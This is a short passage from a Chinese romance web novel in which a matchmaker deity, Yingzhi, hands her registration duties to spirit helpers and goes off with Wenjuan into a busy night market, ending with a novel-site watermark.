给孙辈登记相亲的,给自己寻找有缘人的,想为自己和对象求一根红线的…… 形形色色的人,形形色色的要求,盏仙蝶仙手中笔动得飞快,记录,分配,核对—— 她们时而忙碌写字,时而与客人交谈,始终面带微笑,礼貌温和。 哪怕有不太好对付、胡搅蛮缠要占便宜的人,她们的处理也都相当有条不紊,不骄不躁。 看了一会儿,见那边始终没有出什么乱子,莺芝心下满意。 “好了,看起来是没问题,那接下来的工作就交给她们了。”她收回视线,反手抓住文隽手掌,转身朝广场外围走去。 “那我们呢?”文隽任由她拉着,含笑发问。 “我们?我们当然是……” 灯火铺开的道路上,连绵的小摊错落分布,小吃炉火升起油烟,旧书摊的音响乐声沙沙。 莺芝笑了笑,牵住文隽的手,提步迈入熙攘,一头扎进了这烟火人间。 “月老要以身作则,认真恋爱了。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&